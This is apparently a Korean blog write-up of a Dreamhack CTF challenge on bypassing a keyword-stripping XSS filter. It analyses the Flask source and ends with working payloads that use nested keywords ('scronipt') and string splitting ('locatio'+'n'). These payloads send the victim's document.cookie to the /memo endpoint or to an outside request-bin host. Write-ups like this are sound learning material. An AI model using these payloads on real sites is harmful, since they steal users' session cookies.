본문 바로가기

Study/WebHacking

XSS Filtering Bypass write up

728x90

1) 코드 분석 (출처:챗쥐피티)

엔드포인트1 : /vuln

@app.route("/vuln")
# Flask 애플리케이션에서 /vuln 엔드포인트에 대한 라우팅을 정의
# 사용자의 입력을 ㅂ다는 목적으로 보임

def vuln():		#핸들러 함수인 vuln을 정의
    param = request.args.get("param", "")	
    # Flask에서 제공하는 request 객체를 사용하여 쿼리 매개변수 중 "param"값을 가져오고 있음
    # param 이라는 매개변수가 없으면 빈 문자열을 기본값으로 사용
    param = xss_filter(param)
    #가져온 "param"값을 'xss_filter' 함수에 전달하여 XSS(Cross Site Scripting) 공격을 방지하기 위한 필터링 수행
    return param
    # 필터링된 param 값을 반환함. 
    # 이 값을 클라이언트에게 응답으로 전송될것.

 

함수1 : xss_filter

def xss_filter(text):
    _filter = ["script", "on", "javascript:"] 
    # _filter 변수에는 XSS공격에 사용될 수 있는 특정 문자열 패턴들이 리스트로 정의되어 있음
    # 특정 문자열 패턴 : script, on, javascript
    for f in _filter: # _filter 리스트의 각 문자열을 순회하는 for 루프가 시작됨
        if f in text.lower(): 
        # 현재 순회 중인 문자열 f가 주어진 텍스트 text에 소문자로 포함되어 있는지를 검사
        # 대소문자를 무시하기 위해 text.lower()를 사용하고 있음
            text = text.replace(f, "")
            # 만약 현재 순회 중인 문자열 f기 텍스트에 포함되어 있다면 해당 문자열을 빈 문자열로 대체
            # 이는 해당 문자열을 제거함
    return text
    # 최종적으로 필터링이 완료된 텍스트를 반환

 

엔드포인트2 : /flag

@app.route("/flag", methods=["GET", "POST"])
# /flag 엔드포인트에 대한 라우팅을 정의
# 허용된 메서드는 GET, POST
def flag():
    if request.method == "GET":
    # 만약 요청이 GET 메서드일 경우
        return render_template("flag.html") 
        #flag.html 템플릿을 렌더링
    elif request.method == "POST":
    # 만약 요청이 POST 메서드인 경우
        param = request.form.get("param")
        # POST요청으로 전송된 폼 데이터 중 param 값을 가져옴
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
        # check_xss 함수를 사용하여 XSS 공격체크
        # param 값과 flag값을 비교하여 만약, XSS 공격으로 간주되면 오류 메시지와 함께 스크립트를 실행하고 이전 페이지로 이동
            return '<script>alert("wrong??");history.go(-1);</script>'
            # XSS 공격으로 간주되면 오류 메시지와 함께 javascript를 실행하고 이전 페이지로 이동

        return '<script>alert("good");history.go(-1);</script>' 
        # XSS 공격이 감지되지 않으면 good 메시지와 함께 javascript를 실행하고 이전 페이지로 이동

⏩이 코드는 주어진 텍스트에서 특정 문자열 패턴을 필터링하여 XSS 공격을 방지하기 위한 간단한 함수인 `xss_filter`를 정의하고 있습니다. 주어진 텍스트에서 "script", "on", "javascript:"이라는 문자열을 대소문자 구분 없이 검색하고, 해당 문자열이 발견되면 제거하는 방식으로 동작합니다. 여기서 `_filter` 리스트에 포함된 문자열들은 XSS 공격 시 자주 사용되는 키워드들입니다. 그러나 이러한 단순한 문자열 기반의 필터링은 완벽하지 않을 수 있습니다. 예를 들어, 공격자는 다양한 기술적 트릭을 사용하여 이러한 필터를 우회할 수 있습니다.

 

함수2 : check_xss

def check_xss(param, cookie={"name": "name", "value": "value"}):
# check_xss 함수 정의
# param 과 cookie라는 두개의 매개변수를 받음
# cookie의 기본값으로 {"name":"name","value":"value"}를 사용하고 있음
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    # 주어진 param 값을 사용하여 URL을 생성
    # urlib.parse.quote(param)를 통해 param 값을 URL 인코딩하여 안전한 형태로 만듦
    # URL은 "http://127.0.0.1:8000/vuln"에 param을 쿼리문자열로 추가한 것.
    return read_url(url, cookie)
    # 생성된 URL과 cookie를 이용하여 read_url 함수를 호출하고, 해당 함수의 반환값을 check_xss함수의 반환값으로 사용함.

 

함수3 : read_url

def read_url(url, cookie={"name": "name", "value": "value"}):
# read_url 함수를 정의
# 이 함수는 url, cookie 두개의 매개변수를 받음
# cookie의 기본값으로 {"name": "name", "value": "value"}를 사용하고 있음
    cookie.update({"domain": "127.0.0.1"})
    # cookie 딕셔너리에 "domain" 키를 추가하고 값을 "127.0.0.1"로 설정
    try: # 예외처리
        service = Service(executable_path="/chromedriver")
        # service의 service를 사용하여 크롬 드라이버를 설정
        # executable_path는 크롬 드라이버의 실행 경로 지정
        options = webdriver.ChromeOptions()
        # 크롬 브라우저 옵션을 설정하는 객체 options를 생성
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        # 반복문을 사용하여 여러 크롬 브라우저 옵션을 추가함.
        # 이 옵션들은 브라우저를 헤드리스 모드로 설정하고, 
        # 윈도우 크기를 1920 x 1080 으로 지정하며, GPU 사용을 비활성화하고, 
        # no-sandbox 및 disable-dev-shm-usage 옵션을 추가
        driver = webdriver.Chrome(service=service, options=options)
        # 설정된 크롬 드라이버 서비스와 옵션을 사용하여 웹 드라이버 driver를 생성
        driver.implicitly_wait(3)
        # 웹 드라이버에 대한 암묵적인 대기를 설정.
        # 즉, 요소를 찾을 때 최대 3초간 대기함
        driver.set_page_load_timeout(3)
        # 페이지 로딩 시간을 3초로 설정함
        driver.get("http://127.0.0.1:8000/")
        # 브라우저를 열고 "http://127.0.0.1:8000/" 주소로 이동함 
        driver.add_cookie(cookie)
        # 주어진 쿠키를 브라우저에 추가함 
        driver.get(url)
        # 주어진 URL로 이동함
    except Exception as e:	# 예외가 발생한 경우 처리함
        driver.quit()	# 브라우저 세션을 종료
        # return str(e)	
        return False	# 예외가 발생한 경우 False를 반환
    driver.quit()		# 정상적으로 실행된 경우 브라우저 세션 종료
    return True			# 정상적으로 페이지가 로딩된 경우 True를 반환

⏩이 코드는 Selenium을 사용하여 웹 페이지를 여는 과정을 수행하고, 예외 처리를 통해 예외 발생 시 False를 반환함. 그러나 이 함수는 사용 중에 발생할 수 있는 다양한 예외 상황에 대한 구체적인 처리를 제공하고 있지 않음. 예를 들어 Selenium의 WebDriverException이 발생할 경우에 대한 예외처리가 추가로 필요할 것,

 

엔드포인트3 : /memo

@app.route("/memo")
# /memo 엔드포인트에 대한 라우팅을 정의
def memo():	# /memo 엔드포인트에 대한 핸들러 함수인 memo를 정의
    global memo_text
    text = request.args.get("memo", "")		
    # request.args.get 메서드를 사용하여 memo라는 쿼리 매개변수의 값을 가져오고, 가져올 수 없는 경우 빈 문자열을 기본값으로 함.
    memo_text += text + "\n"		
    # 가져온 memo 값을 memo_text에 누적함.
    # 이전에 저장된 내용에 새로운 메모를 줄 바꿈과 함께 추가
    return render_template("memo.html", memo=memo_text)
    # memo.html 템플릿을 렌더링하면서 템플릿에 memo 변수로 memo_text값을 전달함. 이 값은 클라이언트에게 반환됨

 

 

2) 취약점 분석

memo는 render_templage 함수를 사용해 memo.html을 출력함

render_template함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS취약점이 발생하지 않음.

XSS_filter 함수를 통해 script, on, javascript 총 세개의 키워드를 필터링하는 것을 확인할 수 있음

script 태그나 on 이벤트 핸들러를 이용한 XSS공격이 불가능함.

키워드를 필터링하는 방법을 살펴보면 단순히 필터링해야 하는 키워드를 " "로 변경해 아예 제거해버리는 것을 확인가능

scronipt라는 키워드를 전달했다고 한다면, xss_filter 함수는 반복문을 돌며 XSS 키워드를 검사하는데 scronipt 내에 on이라는 키워드가 존재하기 때문에 반복문 내에서 키워드가 탐지되고 제거됨. 즉, on이 사라진 형태인 script만이 남게 됨. 이 때 반복문 내에서 script 키워드는 이미 이전 반복문에서 검사하고 넘어간 후이기 때문에 필터링에서 탐지되지 않음 

 

3) 익스플로잇(공격)

3-1) XSS 취약점을 통해 이용자의 쿠키를 탈취해야함

쿠키탈취를 위해 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용할 수 있음.

이때 location 내에 on이라는 키워드가 포함되어 있기 때문에 이를 바로 익스플로잇 내에 포함시키면 필터링에 탐지됨.

location 속성은 document 속성으로부터 접근할 수 있기 때문에 document['locatio'+'n'] 과 같은 방식으로 우회가능 

  • location.href - 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값.
  • document.cookie - 해당 페이지에서 사용하는 쿠키를 읽고 쓰는 속성값.

3-1-1) memo 페이지 사용

flag 엔드포인트에서 

<scronipt>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scronipt>

memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인가능

 

3-1-2) 웹 서버 사용

외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인가능. <- 드립핵에서 제공하는 서비스 사용가능(tools.dreamhack.games)

 

dreamhack-tools

 

tools.dreamhack.games

해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보 확인가능

Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되면, 해당 URL에 접속한 기록을 저장함.

<scronipt>document['locatio'+'n'].href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</scronipt>

 

'Study > WebHacking' 카테고리의 다른 글

dreamhack : web-misconf-1 writeup  (0) 2024.04.02
GET 방식과 POST 방식 데이터 요청  (0) 2024.03.15
XSS Filtering Bypass - 2 정리  (0) 2024.02.08
XSS Filtering Bypass - 1 정리  (0) 2024.02.07
XSS(Cross-Site-Scripting) 정리  (0) 2024.02.06